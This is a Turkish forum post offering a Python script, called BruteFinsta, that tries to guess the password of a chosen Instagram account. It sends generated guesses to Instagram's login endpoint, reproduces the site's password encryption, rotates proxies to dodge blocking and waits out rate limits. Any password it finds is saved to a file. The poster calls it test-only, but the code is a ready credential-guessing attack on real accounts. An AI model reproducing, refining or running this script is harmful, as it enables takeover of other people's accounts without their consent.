- Katılım
- 18 Şub 2024
- Mesajlar
- 1,340
- Beğeniler
- 273
- İletişim


ben bi kaç kere testini yaptım ve hiç bir açığı olmadığı için çalışması gerekiyor. Kullanan arkadaşlardan yorumlarını bekliyorum. Forumda hiç böyle bir konu görmedim.
Bu Proje Anahtar sözcüklerinize, random işaretler uzun harfler sayılar ve olabilicek ekler deneyerek şifreyi tutturmaya çalışır.
Elbette tutma ihtimali inanılmaz düşük olsa da bu kodu paylaştım çünkü farklı projelere de evrilmeye açık halde.
Bunları paylaşırken hiçbir şekilde kötüye kullanımı teşvik yoktur. Tamamen test amaçlı olup, Bunun dışına çıkılmamalıdır
Bu Proje Anahtar sözcüklerinize, random işaretler uzun harfler sayılar ve olabilicek ekler deneyerek şifreyi tutturmaya çalışır.
Elbette tutma ihtimali inanılmaz düşük olsa da bu kodu paylaştım çünkü farklı projelere de evrilmeye açık halde.
Bunları paylaşırken hiçbir şekilde kötüye kullanımı teşvik yoktur. Tamamen test amaçlı olup, Bunun dışına çıkılmamalıdır
Python:
import requests, time, random, uuid, re, threading, urllib3, itertools
from base64 import b64encode
from hashlib import blake2b
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from nacl import public, utils
from nacl.bindings import crypto_box
urllib3.disable_warnings()
def _encrypt_pwd(password, pk_hex="f219393f2381eab7abd6d20130bfa274cc4ffc8b67988da60abeffc88c1b9b15"):
ts = str(int(time.time()))
pk_bytes = bytes.fromhex(pk_hex)
aes_key = utils.random(32)
sk = public.PrivateKey.generate()
pk = sk.public_key
nonce = blake2b(pk.encode() + pk_bytes, digest_size=24).digest()
sealed = crypto_box(aes_key, nonce, pk_bytes, sk.encode())
enc_key = pk.encode() + sealed
iv = b"\x00" * 12
cipher = Cipher(algorithms.AES(aes_key), modes.GCM(iv), backend=default_backend()).encryptor()
cipher.authenticate_additional_data(ts.encode())
ct = cipher.update(password.encode()) + cipher.finalize()
out = bytearray(100 + len(ct))
out[0], out[1], out[2], out[3] = 1, 143, len(enc_key) & 0xFF, (len(enc_key) >> 8) & 0xFF
out[4:84], out[84:100], out[100:] = enc_key, cipher.tag, ct
return f"#PWD_INSTAGRAM_BROWSER:10:{ts}:{b64encode(out).decode()}"
class BruteBrainFinal:
def __init__(self, target, threads=3):
self.target = target
self.threads = threads
self.proxies = []
self.lock = threading.Lock()
self.found = False
self.tried = 0
self.ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
self.proxy_api_urls = [
#proxy txt ekleyin mutlaka.
]
self.refresh_proxies()
def refresh_proxies(self):
if not self.proxy_api_urls: return
try:
new_p = []
for u in self.proxy_api_urls:
try:
res = requests.get(u, timeout=10)
if res.status_code == 200:
new_p.extend(re.findall(r'\d+\.\d+\.\d+\.\d+:\d+', res.text))
except: continue
with self.lock:
self.proxies = list(set(new_p))
print(f"[*] PROXY HAVUZU: {len(self.proxies)} ADET YUKLENDI.")
except: pass
def l0g(self, filename, data):
with self.lock:
with open(filename, "a") as f:
f.write(f"{data}\n")
#beyler buraya referans isim, anahtar sözcükleri yazacaksınız. <3
def brain_gen(self):
prefixes = ["user", "target", "admin", "login"]
dates = ["123", "2024", "2025", "2026", "1903", "1905", "1907"]
chars = ["!", ".", "_", "*"]
for p in prefixes:
for d in dates:
yield p + d
yield p.capitalize() + d
yield p.upper() + d
for p in prefixes:
for c in chars:
yield p + c
yield p.capitalize() + c
for i in range(100, 100000):
yield f"pass{i}"
yield f"secret{i}"
def worker(self, g):
s = requests.Session()
while not self.found:
try:
with self.lock:
pwd = next(g)
px = None
if self.proxies:
p_raw = random.choice(self.proxies)
px = {"http": f"http://{p_raw}", "https": f"http://{p_raw}"}
try:
r = s.get("https://www.instagram.com/", proxies=px, timeout=5)
csrf = r.cookies.get("csrftoken")
except: csrf = None
if not csrf: continue
headers = {
"User-Agent": self.ua,
"X-Ig-App-Id": "936619743392459",
"X-Csrftoken": csrf,
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "https://www.instagram.com/"
}
payload = {
"username": self.target,
"enc_password": _encrypt_pwd(pwd),
"queryParams": "{}",
"optIntoOneTap": "false"
}
res = s.post("https://www.instagram.com/api/v1/web/accounts/login/ajax/", data=payload, headers=headers, proxies=px, timeout=7)
with self.lock:
self.tried += 1
print(f"[{self.tried}] TRYING: {pwd} | STATUS: {res.status_code}")
if '"authenticated":true' in res.text:
self.found = True
print(f"\n[SUCCESS] PASSWORD FOUND: {pwd}")
self.l0g("found.txt", f"{self.target}:{pwd}")
elif "checkpoint" in res.text:
print(f"[CHECKPOINT] VERIFICATION NEEDED: {pwd}")
self.l0g("checkpoints.txt", f"{self.target}:{pwd}")
elif "wait_before_attempting_again" in res.text:
print("[!] RATE LIMIT! WAITING 30S...")
time.sleep(30)
except StopIteration: break
except: continue
def run(self):
print("="*50)
print(f" BruteFinsta | TARGET: @{self.target}")
print(f" THREADS: {self.threads} | PROXY: {len(self.proxies)}")
print("="*50)
gen = self.brain_gen()
for _ in range(self.threads):
t = threading.Thread(target=self.worker, args=(gen,))
t.daemon = True
t.start()
try:
while not self.found: time.sleep(1)
except KeyboardInterrupt:
print("\n[!] STOPPED BY USER.")
if __name__ == "__main__":
TARGET = "target_username_here"
BruteBrainFinal(TARGET, threads=3).run()